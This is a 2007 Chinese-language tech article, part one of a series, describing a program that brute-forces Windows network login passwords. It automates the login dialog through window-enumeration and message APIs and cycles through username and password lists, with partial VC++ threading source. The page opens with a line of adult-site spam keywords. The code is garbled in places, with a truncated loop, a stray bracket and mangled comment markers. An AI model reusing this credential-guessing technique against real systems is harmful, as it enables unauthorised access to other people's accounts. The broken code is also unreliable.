亚洲成精品动漫久久精久,九九在线精品视频播放,黄色成人免费观看,三级成人影院,久碰久,四虎成人欧美精品在永久在线

掃一掃
關注微信公眾號

Windows網絡用戶登錄密碼的猜解1
2007-08-15   中國IT實驗室

Windows網絡用戶密碼猜解算法的主要思想是:利用Windows提供的窗口枚舉函數EnumWindows ()找到網絡登錄窗口。利用子窗口枚舉函數EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位網絡登錄窗口上的各個控件。

  利用SendDlgItemMessage()或SetDlgItemText()來輸入用戶名及密碼。利用SendMessage()發送“確定”消息。這樣一來,就利用程序完成了整個網絡登錄過程。在重復這個過程中采用枚舉的用戶名和密碼,進而完成網絡用戶名及密碼的枚舉猜解。

  一、猜解過程流程:

  為說明問題,下面只寫出主要的過程。對于關鍵過程給出用VC++實現的源碼。下面的流程中Mutex.Lock和Mutex.UnLock之間的代碼只允許單線程訪問?!懊艽a枚舉完”是指用戶指定的字符集合已被枚舉完,程序將再枚舉一個新的用戶名,然后重新枚舉這個字符集合。關于源碼中各函數的具體用法,請參閱MSDN。關于多線程的用法,可參閱《VisualC++技術內幕》。

  下面給出關鍵流程的源代碼

  1. 全局變量:

  struct _Thread

  {

  CWinThread *pThread;

  };

  _Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚舉線程數

  CEvent gEventNextPass;//取下一個密碼,為實現同步引進

  CEvent gEventPassOk;//已取得密碼,為實現同步引進

  CEvent gEventNextUser;//取下一個用戶名,為實現同步引進

  CEvent gEventUserOk;// 已取得用戶名,為實現同步引進

  CMutex gMutex;//互斥量,只允許單線程訪問

  char cCurrentPass[MAX_PASSWORD_LENGTH]; file://當前使用的密碼。

  char cCurrentUser[MAX_USER_LENGTH];//當前使用的用戶名

  2. 線程啟動:

  {

  file://密碼枚舉線程

  if(PassTread[0].pThread==NULL)

  {

  PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,

  THREAD_PRIORITY_LOWEST);

  PassTread[0].pThread->m_bAutoDelete=TRUE;

  file://這里略去了從文件取得密碼的代碼,這些代碼和用戶名枚舉過程的代碼差不多

  }

  file://用戶名枚舉線程

  if(UserTread[0].pThread==NULL)

  {

  UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,

  THREAD_PRIORITY_LOWEST);

  PassTread[0].pThread->m_bAutoDelete=TRUE;

  }

  file://窗口枚舉線程

  for(int i=0;i

  {

  if(WindowThread[i].pThread==NULL){

  WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,

  THREAD_PRIORITY_LOWEST);

  WindowThread[i].pThread->m_bAutoDelete=TRUE;

  }

  }

熱詞搜索:

上一篇:如何解決雙擊打不開硬盤分區的問題
下一篇:Windows網絡用戶登錄密碼的猜解2

分享到:           收藏